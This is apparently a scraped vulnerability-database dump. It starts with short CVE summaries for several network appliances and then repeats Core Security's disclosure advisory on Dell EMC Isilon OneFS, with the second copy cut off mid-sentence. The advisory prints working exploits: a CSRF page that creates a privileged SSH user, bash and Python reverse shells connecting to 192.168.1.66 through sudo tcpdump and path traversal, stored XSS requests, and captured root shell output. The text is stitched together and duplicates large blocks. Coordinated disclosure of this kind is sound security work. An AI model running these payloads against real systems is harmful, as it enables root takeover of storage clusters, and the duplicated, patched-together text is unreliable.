ANYSEC-M6100 is a standard 1U rackmount VPN secure access gateway. There are default passwords and remote command execution vulnerabilities in the China Netcom ANYSEC security gateway, allowing attackers to log in to the background, construct specific code, execute commands remotely, write to a webshell, and obtain server permissions.

A vulnerability in the Trend Micro InterScan Messaging Security Virtual Appliance 9.0 and 9.1 management portal could allow an unauthenticated user to access sensitive information in a particular log file that could be used to bypass authentication on vulnerable installations. An attacker can exploit this issue to bypass the authentication mechanism and perform unauthorized actions. This may lead to further attacks

A DLL Hijacking vulnerability in Trend Micro's User-Mode Hooking Module (UMH) could allow an attacker to run arbitrary code on a vulnerable system. Multiple products provided by Trend Micro Incorporated contain an insecure DLL loading issue (CWE-427). When invoking the installers of other applications while the concerned products are installed to the PC, the DLL placed in the same directory as the the installers (of the other applications) may be insecurely loaded. Hidenori Ohta of Mitsubishi Electric Information Systems Corporation reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership.Arbitrary code may be executed with the privilege of the user invoking the installer of other applications. A remote attacker can leverage this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will result in a denial of service condition

Ruckus Networks Unleashed AP firmware releases before 200.6.10.1.x and Ruckus Networks Zone Director firmware releases 10.1.0.0.x, 9.10.2.0.x, 9.12.3.0.x, 9.13.3.0.x, 10.0.1.0.x or before contain authenticated Root Command Injection in the CLI that could allow authenticated valid users to execute privileged commands on the respective systems. Both Ruckus Networks Unleashed AP and Ruckus Networks Zone Director are wireless access points from Ruckus Wireless. A remote attacker could exploit this vulnerability to execute privileged commands

TRENDnet TEW-751DR v1.03B03, TEW-752DRU v1.03B01, and TEW733GR v1.03B01 devices allow authentication bypass via an AUTHORIZED_GROUP=1 value, as demonstrated by a request for getcfg.php. TRENDnet TEW-751DR , TEW-752DRU ,and TEW733GR The device contains an input validation vulnerability.Information may be obtained. TEW-751DR\\TEW-752DRU\\TEW-733GR is a router product of TrendNET Trends. An information disclosure vulnerability exists in the TrendNET router device. An attacker can exploit the vulnerability to obtain the admin user password without logging in. Input validation vulnerabilities exist in TRENDnet TEW-751DR version 1.03B03, TEW-752DRU version 1.03B01, and TEW733GR version 1.03B01

Ruckus Networks Solo APs firmware releases R110.x or before and Ruckus Networks SZ managed APs firmware releases R5.x or before contain authenticated Root Command Injection in the web-GUI that could allow authenticated valid users to execute privileged commands on the respective systems. web-GUI is one of the web graphical user interfaces. A remote attacker could exploit this vulnerability to execute privileged commands

Dell EMC Isilon versions between 8.1.0.0 - 8.1.0.1, 8.0.1.0 - 8.0.1.2, and 8.0.0.0 - 8.0.0.6 is affected by a cross-site scripting vulnerability in the Network Configuration page within the OneFS web administration interface. A malicious administrator may potentially inject arbitrary HTML or JavaScript code in the user's browser session in the context of the OneFS website. Dell EMC Isilon OneFS is prone to the following multiple security vulnerabilities. 1. A cross-site request-forgery vulnerability 2. A local privilege escalation vulnerability 3. A remote privilege escalation vulnerability 4. Multiple HTML-injection vulnerabilities Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user or to gain elevated root privileges and perform certain unauthorized actions and gain access to the affected application. OneFS web administration interface is one of the web management interfaces. Note: In Isilon OneFS, running in compadmin mode, compadmin user is less privileged than the nodes' root users. A malicious user may potentially exploit these vulnerability to send unauthorized requests to the server on behalf of authenticated users of the application. CVSS v3 Base Score: 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) Resolution: The following Dell EMC Isilon OneFS maintenance releases addresses these vulnerabilities (except for CVE-2018-1213): Dell EMC Isilon OneFS 8.1.0.2 Patches are available for the below versions: Patch-213283 for OneFS 8.1.0.2 (CVE-2018-1213 only) Patch-217638 for OneFS 8.1.0.1 (all CVEs) Patch-213281 for OneFS 8.1.0.0 (all CVEs) Patch-213280 for OneFS 8.0.1.2 (all CVEs) Patch-213278 for OneFS 8.0.0.6 (all CVEs) Patch-217637 for OneFS 8.0.0.5 (all CVEs) Patch-211980 for OneFS 8.0.0.4 (all CVEs) IMPORTANT: If you update Isilon OneFS with a patch from this list, and you are using Insight IQ, you must upgrade to Insight IQ 4.1.2 prior to installing the patch. This advisory will be updated when fixes are available for additional versions. -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQEcBAEBCAAGBQJar7X8AAoJEHbcu+fsE81ZnVsH/RkfP2XUz4sHV2uQofuZR2bJ 319oyT9XVWUsOwCtQQ2ty/rolXHlO/B1viIq5OYJo4sTrN9s8dupz/Patek9HdiT RR0nvSVEgLM4C8NwB30hwJO8luuO8RDQUc3BQnSo6Vy8b1zM9F7A+yMZgseUoOaW u5jduNB8kvTAAyK4SnujqyBE4eT193x2yxAr15VoMRNFlmmu+S8GHpcCMoE0CDRt 05zhC6wCelN9BA0Bf7D533ffigfP8QAe+zw/OaQgQcEmoe5ys9aaHp2EJaAF5UZN Eh5JtXuwGX3dq0GDdVgbrA0ZlQlLConpBHhZEoIn99YF4MHpbp9l3QbeEYUS2ko= =c/8F -----END PGP SIGNATURE----- . **Advisory Information** Title: Dell EMC Isilon OneFS Multiple Vulnerabilities Advisory ID: CORE-2017-0009 Advisory URL: http://www.coresecurity.com/advisories/dell-emc-isilon-onefs-multiple-vulnerabilities Date published: 2018-02-14 Date of last update: 2018-02-14 Vendors contacted: Dell EMC Release mode: Coordinated release 2. **Vulnerability Information** Class: Cross-Site Request Forgery [CWE-352], Improper Privilege Management [CWE-269], Improper Privilege Management [CWE-269], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-1213, CVE-2018-1203, CVE-2018-1204, CVE-2018-1186, CVE-2018-1187, CVE-2018-1188, CVE-2018-1189, CVE-2018-1201, CVE-2018-1202 3. **Vulnerability Description** Dell EMC's website states that:[1] The EMC Isilon scale-out NAS storage platform combines modular hardware with unified software to harness unstructured data. Powered by the OneFS operating system, an EMC Isilon cluster delivers a scalable pool of storage with a global namespace. The platform's unified software provides centralized Web-based and command-line administration to manage the following features: - A cluster that runs a distributed file system - Scale-out nodes that add capacity and performance - Storage options that manage files and tiering - Flexible data protection and high availability - Software modules that control costs and optimize resources Multiple vulnerabilities were found in the Isilon OneFS Web console that would allow a remote attacker to gain command execution as root. **Vulnerable Packages** . Dell EMC Isilon OneFS version 8.1.1.0 (CVE-2018-1203, CVE-2018-1204) . Dell EMC Isilon OneFS versions between 8.1.0.0 - 8.1.0.1 (all CVEs) . Dell EMC Isilon OneFS versions between 8.0.1.0 - 8.0.1.2 (all CVEs) . Dell EMC Isilon OneFS versions between 8.0.0.0 - 8.0.0.6 (all CVEs) . Dell EMC Isilon OneFS versions 7.2.1.x (CVE-2018-1186, CVE-2018-1188, CVE-2018-1201, CVE-2018-1204, CVE-2018-1213) . Dell EMC Isilon OneFS version 7.1.1.11 (CVE-2018-1186, CVE-2018-1201, CVE-2018-1202, CVE-2018-1204, CVE-2018-1213) Other products and versions might be affected, but they were not tested. https://support.emc.com/downloads/15209_Isilon-OneFS 6. **Credits** These vulnerabilities were discovered and researched by Ivan Huertas and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. **Technical Description / Proof of Concept Code** The Web console contains several sensitive features that are vulnerable to cross-site request forgery. We describe this issue in section 7.1. Sections 7.2 and 7.3 show two vectors to escalate privileges to root. Various persistent cross-site scripting issues are presented in the remaining sections (7.4, 7.5, 7.6, 7.7, 7.8, 7.9). **Cross-site request forgery leading to command execution** [CVE-2018-1213] There are no anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. The Web console contains a plethora of sensitive actions that can be abused, such as adding new users with SSH access or re-mapping existing storage directories to allow read-write-execute access to all users. All requests are JSON-encoded, which in some cases might hinder exploitation of CSRF vulnerabilities. However, the application does not verify the content-type set. This allows an attacker to exploit the CSRF vulnerabilities by setting a text/plain content-type and sending the request body as JSON_PAYLOAD=ignored. The following proof of concept creates a new user and assigns him a new role with enough privileges to log in via SSH, configure identifies, manage authentication providers, configure the cluster and run the remote support tools. /----- <html> <body> <form id="addUser" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/users?query_member_of=true&resolve_names=true&start=0&zone=System&provider=lsa-local-provider%3ASystem" method="POST" enctype="text/plain"> <input type="hidden" name="{"name":"pepito","enabled":true,"shell":"/bin/zsh","password_expires":false,"password":"pepito"}" value="" /> </form> <form id="addRole" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/roles" method="POST" enctype="text/plain"> <input type="hidden" name="{"members":[{"name":"pepito","type":"user"}],"name":"pepito_role","privileges":[{"id":"ISI_PRIV_AUTH","name":"Auth","read_only":false},{"id":"ISI_PRIV_CLUSTER","name":"Cluster","read_only":false},{"id":"ISI_PRIV_REMOTE_SUPPORT","name":"Remote Support","read_only":false},{"id":"ISI_PRIV_LOGIN_SSH","name":"SSH","read_only":true}]}" value="" /> </form> <script> document.getElementById("addUser").submit(); window.setTimeout(function() { document.getElementById("addRole").submit() }, 1000); </script> </body> </html> -----/ 7.2. **Privilege escalation due to incorrect sudo permissions** [CVE-2018-1203] The compadmin user can run the tcpdump binary with root privileges via sudo. This allows for local privilege escalation, as tcpdump can be instructed to run shell commands when rotating capture files. /----- pepe-1$ id uid=11(compadmin) gid=0(wheel) groups=0(wheel),1(daemon) pepe-1$ cat /tmp/lala.sh #!/bin/bash bash -i >& /dev/tcp/192.168.1.66/8888 0>&1 -----/ Once the desired shell script is in place, the attacker can run tcpdump as follows to trigger the execution: /----- pepe-1$ sudo tcpdump -i em0 -G 1 -z /tmp/lala.sh -w dump tcpdump: WARNING: unable to contact casperd tcpdump: listening on em0, link-type EN10MB (Ethernet), capture size 65535 bytes /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused -----/ As can be seen below, the script runs with root privileges: /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 57692) bash: no job control in this shell [root@pepe-1 /compadmin]# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.3. **Privilege escalation via remote support scripts** [CVE-2018-1204] >From the documentation: "OneFS allows remote support through EMC Secure Remote Services (ESRS) which monitors your EMC Isilon cluster, and with your permission, allows remote access to Isilon Technical Support personnel to gather cluster data and troubleshoot issues." "After you enable remote support through ESRS, Isilon Technical Support personnel can request logs with scripts that gather EMC Isilon cluster data and then upload the data. The remote support scripts based on the Isilon isi_gather_info log-gathering tool are located in the /ifs/data/Isilon_Support/ directory on each node." "Additionally, isi_phone_home, a tool that focuses on cluster- and node-specific data, is enabled once you enable ESRS. This tool is pre-set to send information about your cluster to Isilon Technical Support on a weekly basis. You can disable or enable isi_phone_home from the OneFS command-line interface." As a cluster administrator or compadmin, it is possible to enable the remote support functionality, hence enabling the isi_phone_home tool via sudo. This tool is vulnerable to a path traversal when reading the script file to run, which would enable an attacker to execute arbitrary python code with root privileges. If remote support is not enabled, an attacker could perform the following operations in order to enable it: /----- pepe-1$ sudo isi network subnets create 1 ipv4 1 pepe-1$ sudo isi network pools create 1.0 pepe-1$ sudo isi remotesupport connectemc modify --enabled=yes --primary-esrs-gateway=10.10.10.10 --use-smtp-failover=no --gateway-access-pools=1.0 -----/ The isi_phone_home tool is supposed to run scripts located in the root-only writable directory /usr/local/isi_phone_home/script. However, the provided script name is used to construct the file path without sanitization, allowing an attacker to reference other locations. /----- def run_script(script_file_name): script_path = CFG.get('SCRIPTDIR') + '/' + script_file_name if os.path.isfile(script_path): cmd = 'python ' + script_path + ' 2>&1 ' command_thread = command.Command(cmd) exit_code, output = command_thread.run(int(CFG.get("SCRIPT_TIEMOUT"))) if exit_code: logging.error("Error: {0} running script: {1} ".format(str(exit_code), output)) else: logging.error("File: {0} list_file_name doesn't exist ".format(script_path)) -----/ The final step would be to create a malicious python script on any writable location and call it via the isi_phone_tool using sudo. Keep in mind that the previous steps are not required if the system does already have remote support enabled. /----- pepe-1$ cat /tmp/lala.py #!/usr/bin/env python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.1.66",8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) pepe-1$ sudo /usr/bin/isi_phone_home --script-file ../../../../../tmp/lala.py -----/ /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 56807) pepe-1# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.4. *Persistent cross-site scripting in the cluster description* [CVE-2018-1186] The description parameter of the /cluster/identity endpoint is vulnerable to cross-site scripting. After the cluster's description is updated, the payload will be executed every time the user opens the Web console. /----- PUT /platform/3/cluster/identity HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 61 Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24; Connection: close {"description":"my cluster<img src=x onerror=\"alert(1)\"/>"} -----/ 7.5. After the description is updated, the payload will be executed every time the user opens the network configuration page. /----- POST /platform/4/network/groupnets HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 186 Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41; Connection: close {"description":"lala<script>alert(1)</script>","dns_cache_enabled":true,"dns_options":[],"dns_search":[],"dns_servers":[],"name":"pepito2","server_side_dns_search":false} -----/ 7.6. **Persistent cross-site scripting in the Authentication Providers page** [CVE-2018-1188] The realm parameter of the /auth/settings/krb5/realms endpoint is vulnerable to cross-site scripting. After the realm is updated, the payload will be executed every time the user opens the Kerberos tab of the Authentication Providers page. /----- POST /platform/1/auth/settings/krb5/realms HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 78 Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41; Connection: close {"is_default_realm":true,"kdc":[],"realm":"ASDASD<img src=x onerror=alert(1)"} -----/ 7.7. **Persistent cross-site scripting in the Antivirus page** [CVE-2018-1189] The name parameter of the /antivirus/policies endpoint is vulnerable to cross-site scripting. After the name is updated, the payload will be executed every time the user opens the Antivirus page. /----- POST /platform/3/antivirus/policies HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 172 Cookie: isisessid=c6903f55-43e7-42e2-b587-9f68142c3e06; Connection: close {"name":"pepe<img src=x onerror=\"alert(1)\"/>","description":"pepito","enabled":true,"force_run":false,"impact":null,"paths":["/ifs"],"recursion_depth":-1,"schedule":null} -----/ 7.8. **Persistent cross-site scripting in the Job Operations page** [CVE-2018-1201] The description parameter of the /job/policies endpoint is vulnerable to cross-site scripting. After the description is updated, the payload will be executed every time the user opens the Impact Policies section of the Job Operations page. /----- POST /platform/1/job/policies HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 210 Cookie: isisessid=8a5026c0-f045-4505-9d2b-ae83bc90f8ea; Connection: close {"name":"my policy","description":"<img src=x onerror=\"alert(1)\"/>","intervals":[{"begin":"Sunday 00:00","end":"Sunday 00:00","impact":"Low"},{"impact":"Low","begin":"Sunday 01:03","end":"Monday 01:01"}]} -----/ 7.9. **Persistent cross-site scripting in the NDMP page** [CVE-2018-1202] The name parameter of the /protocols/ndmp/users endpoint is vulnerable to cross-site scripting. After the name is updated, the payload will be executed every time the user opens the NDMP Settings section of the NDMP page. /----- POST /platform/3/protocols/ndmp/users HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 64 Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24; Connection: close {"name":"<img src=x onerror=\"alert(1)\"/>","password":"123123"} -----/ 8. **Report Timeline** 2017-09-25: Core Security sent an initial notification to Dell EMC, including a draft advisory. 2017-09-26: Dell EMC confirmed reception and informed an initial response would be ready by October 5th. 2017-10-05: Dell EMC confirmed problem exists for all vulnerabilities reported except one, for which evaluation will be finalized soon. Dell EMC stated that, for the confirmed issues, a remediation plan will be provided by 10/16. 2017-10-05: Core Security thanked the follow up email. 2017-10-06: Dell EMC reported an update on one privilege escalation vulnerability reported, stating that 'ISI_PRIV_AUTH, and ISI_PRIV_ROLE both are equivalent to admin level access'. They said they will be updating the documentation to make it clearer. 2017-10-11: Core Security thanked for the clarification and confirmed that section will be removed from the final advisory. 2017-10-16: Dell EMC sent a schedule for fixing six of the reported vulnerabilities, with specific dates for every product's version. 2017-10-16: Core Security thanked the information and said it will analyze the proposals sent once all the data is available. 2017-10-19: Dell EMC sent a schedule for the remaining three reported vulnerabilities, with specific dates for every product's version. 2017-10-31: Core Security on the schedule sent, stating that fixing the vulnerabilities by June 2018 is unacceptable given current industry standards. Requested a review of the timeline or a thorough explanation that justifies such delay. 2017-11-01: Dell EMC answered back stating that after reviewing the original schedule, they said they believe they could have fixes ready for versions 8.0.x and 8.1.x by January 2018. Only caveat is the vulnerability 7.1 that might be pushed past January, although they said they think they could meet the January deadline. 2017-11-13: Core Security thanked Dell's review of the release dates and agreed on the proposed schedule, stating Core Security would like to publish a single advisory for all the vulnerabilities reported. Also requested CVE IDs for each of the issues. 2018-01-16: Core Security asked for a status update on the release date for the fixes since there was no update from Dell EMC. 2018-01-17: Dell EMC answered back stating they are awaiting confirmation from the product team about the exact dates of release. They said they will get back to us by the end of this week. Dell EMC also asked our GPG public key again. 2018-01-18: Core Security thanked for the update and sent the advisory's public GPG key. 2018-01-19: Dell EMC stated they are currently working on drafting their advisory and will send it back to us (including CVEs) once they have the necessary approvals. 2018-01-23: Dell EMC asked for our updated draft advisory. 2018-01-25: Dell EMC notified that the team are targeting to have the fix available by February 12th. Additionally, Dell will send its draft advisory by January 31th. 2018-01-29: Core Security thanked for the update and proposed February 14th as publication date. 2018-01-31: Dell EMC informed Core Security that they agreed to release on February 14th. They also provided CVE IDs for each vulnerability reported. 2018-02-01: Dell EMC sent its draft advisory. 2018-02-14: Advisory CORE-2017-0009 published. **References** [1] https://www.dellemc.com/en-us/storage/isilon/onefs-operating-system.htm 10. **About CoreLabs** CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. **About Core Security** Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. **Disclaimer** The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

Dell EMC Isilon versions between 8.1.0.0 - 8.1.0.1, 8.0.1.0 - 8.0.1.2, and 8.0.0.0 - 8.0.0.6, and versions 7.2.1.x is affected by a cross-site scripting vulnerability in the Authorization Providers page within the OneFS web administration interface. A malicious administrator may potentially inject arbitrary HTML or JavaScript code in the user's browser session in the context of the OneFS website. Dell EMC Isilon Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. Dell EMC Isilon OneFS is prone to the following multiple security vulnerabilities. 1. A cross-site request-forgery vulnerability 2. A local privilege escalation vulnerability 3. A remote privilege escalation vulnerability 4. Multiple HTML-injection vulnerabilities Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user or to gain elevated root privileges and perform certain unauthorized actions and gain access to the affected application. OneFS web administration interface is one of the web management interfaces. Note: In Isilon OneFS, running in compadmin mode, compadmin user is less privileged than the nodes' root users. CVSS v3 Base Score: 6.7 (AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) Path Traversal Vulnerability (CVE-2018-1204) Dell EMC Isilon OneFS is affected by a path traversal vulnerability in the isi_phone_home tool. A malicious user may potentially exploit these vulnerability to send unauthorized requests to the server on behalf of authenticated users of the application. CVSS v3 Base Score: 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) Resolution: The following Dell EMC Isilon OneFS maintenance releases addresses these vulnerabilities (except for CVE-2018-1213): Dell EMC Isilon OneFS 8.1.0.2 Patches are available for the below versions: Patch-213283 for OneFS 8.1.0.2 (CVE-2018-1213 only) Patch-217638 for OneFS 8.1.0.1 (all CVEs) Patch-213281 for OneFS 8.1.0.0 (all CVEs) Patch-213280 for OneFS 8.0.1.2 (all CVEs) Patch-213278 for OneFS 8.0.0.6 (all CVEs) Patch-217637 for OneFS 8.0.0.5 (all CVEs) Patch-211980 for OneFS 8.0.0.4 (all CVEs) IMPORTANT: If you update Isilon OneFS with a patch from this list, and you are using Insight IQ, you must upgrade to Insight IQ 4.1.2 prior to installing the patch. This advisory will be updated when fixes are available for additional versions. -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQEcBAEBCAAGBQJar7X8AAoJEHbcu+fsE81ZnVsH/RkfP2XUz4sHV2uQofuZR2bJ 319oyT9XVWUsOwCtQQ2ty/rolXHlO/B1viIq5OYJo4sTrN9s8dupz/Patek9HdiT RR0nvSVEgLM4C8NwB30hwJO8luuO8RDQUc3BQnSo6Vy8b1zM9F7A+yMZgseUoOaW u5jduNB8kvTAAyK4SnujqyBE4eT193x2yxAr15VoMRNFlmmu+S8GHpcCMoE0CDRt 05zhC6wCelN9BA0Bf7D533ffigfP8QAe+zw/OaQgQcEmoe5ys9aaHp2EJaAF5UZN Eh5JtXuwGX3dq0GDdVgbrA0ZlQlLConpBHhZEoIn99YF4MHpbp9l3QbeEYUS2ko= =c/8F -----END PGP SIGNATURE----- . **Advisory Information** Title: Dell EMC Isilon OneFS Multiple Vulnerabilities Advisory ID: CORE-2017-0009 Advisory URL: http://www.coresecurity.com/advisories/dell-emc-isilon-onefs-multiple-vulnerabilities Date published: 2018-02-14 Date of last update: 2018-02-14 Vendors contacted: Dell EMC Release mode: Coordinated release 2. **Vulnerability Information** Class: Cross-Site Request Forgery [CWE-352], Improper Privilege Management [CWE-269], Improper Privilege Management [CWE-269], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-1213, CVE-2018-1203, CVE-2018-1204, CVE-2018-1186, CVE-2018-1187, CVE-2018-1188, CVE-2018-1189, CVE-2018-1201, CVE-2018-1202 3. **Vulnerability Description** Dell EMC's website states that:[1] The EMC Isilon scale-out NAS storage platform combines modular hardware with unified software to harness unstructured data. Powered by the OneFS operating system, an EMC Isilon cluster delivers a scalable pool of storage with a global namespace. The platform's unified software provides centralized Web-based and command-line administration to manage the following features: - A cluster that runs a distributed file system - Scale-out nodes that add capacity and performance - Storage options that manage files and tiering - Flexible data protection and high availability - Software modules that control costs and optimize resources Multiple vulnerabilities were found in the Isilon OneFS Web console that would allow a remote attacker to gain command execution as root. **Vulnerable Packages** . Dell EMC Isilon OneFS version 8.1.1.0 (CVE-2018-1203, CVE-2018-1204) . Dell EMC Isilon OneFS versions between 8.1.0.0 - 8.1.0.1 (all CVEs) . Dell EMC Isilon OneFS versions between 8.0.1.0 - 8.0.1.2 (all CVEs) . Dell EMC Isilon OneFS versions between 8.0.0.0 - 8.0.0.6 (all CVEs) . Dell EMC Isilon OneFS versions 7.2.1.x (CVE-2018-1186, CVE-2018-1188, CVE-2018-1201, CVE-2018-1204, CVE-2018-1213) . https://support.emc.com/downloads/15209_Isilon-OneFS 6. **Credits** These vulnerabilities were discovered and researched by Ivan Huertas and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. **Technical Description / Proof of Concept Code** The Web console contains several sensitive features that are vulnerable to cross-site request forgery. We describe this issue in section 7.1. Sections 7.2 and 7.3 show two vectors to escalate privileges to root. Various persistent cross-site scripting issues are presented in the remaining sections (7.4, 7.5, 7.6, 7.7, 7.8, 7.9). **Cross-site request forgery leading to command execution** [CVE-2018-1213] There are no anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. The Web console contains a plethora of sensitive actions that can be abused, such as adding new users with SSH access or re-mapping existing storage directories to allow read-write-execute access to all users. All requests are JSON-encoded, which in some cases might hinder exploitation of CSRF vulnerabilities. However, the application does not verify the content-type set. This allows an attacker to exploit the CSRF vulnerabilities by setting a text/plain content-type and sending the request body as JSON_PAYLOAD=ignored. The following proof of concept creates a new user and assigns him a new role with enough privileges to log in via SSH, configure identifies, manage authentication providers, configure the cluster and run the remote support tools. /----- <html> <body> <form id="addUser" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/users?query_member_of=true&resolve_names=true&start=0&zone=System&provider=lsa-local-provider%3ASystem" method="POST" enctype="text/plain"> <input type="hidden" name="{"name":"pepito","enabled":true,"shell":"/bin/zsh","password_expires":false,"password":"pepito"}" value="" /> </form> <form id="addRole" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/roles" method="POST" enctype="text/plain"> <input type="hidden" name="{"members":[{"name":"pepito","type":"user"}],"name":"pepito_role","privileges":[{"id":"ISI_PRIV_AUTH","name":"Auth","read_only":false},{"id":"ISI_PRIV_CLUSTER","name":"Cluster","read_only":false},{"id":"ISI_PRIV_REMOTE_SUPPORT","name":"Remote Support","read_only":false},{"id":"ISI_PRIV_LOGIN_SSH","name":"SSH","read_only":true}]}" value="" /> </form> <script> document.getElementById("addUser").submit(); window.setTimeout(function() { document.getElementById("addRole").submit() }, 1000); </script> </body> </html> -----/ 7.2. **Privilege escalation due to incorrect sudo permissions** [CVE-2018-1203] The compadmin user can run the tcpdump binary with root privileges via sudo. This allows for local privilege escalation, as tcpdump can be instructed to run shell commands when rotating capture files. /----- pepe-1$ id uid=11(compadmin) gid=0(wheel) groups=0(wheel),1(daemon) pepe-1$ cat /tmp/lala.sh #!/bin/bash bash -i >& /dev/tcp/192.168.1.66/8888 0>&1 -----/ Once the desired shell script is in place, the attacker can run tcpdump as follows to trigger the execution: /----- pepe-1$ sudo tcpdump -i em0 -G 1 -z /tmp/lala.sh -w dump tcpdump: WARNING: unable to contact casperd tcpdump: listening on em0, link-type EN10MB (Ethernet), capture size 65535 bytes /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused -----/ As can be seen below, the script runs with root privileges: /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 57692) bash: no job control in this shell [root@pepe-1 /compadmin]# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.3. **Privilege escalation via remote support scripts** [CVE-2018-1204] >From the documentation: "OneFS allows remote support through EMC Secure Remote Services (ESRS) which monitors your EMC Isilon cluster, and with your permission, allows remote access to Isilon Technical Support personnel to gather cluster data and troubleshoot issues." "After you enable remote support through ESRS, Isilon Technical Support personnel can request logs with scripts that gather EMC Isilon cluster data and then upload the data. The remote support scripts based on the Isilon isi_gather_info log-gathering tool are located in the /ifs/data/Isilon_Support/ directory on each node." "Additionally, isi_phone_home, a 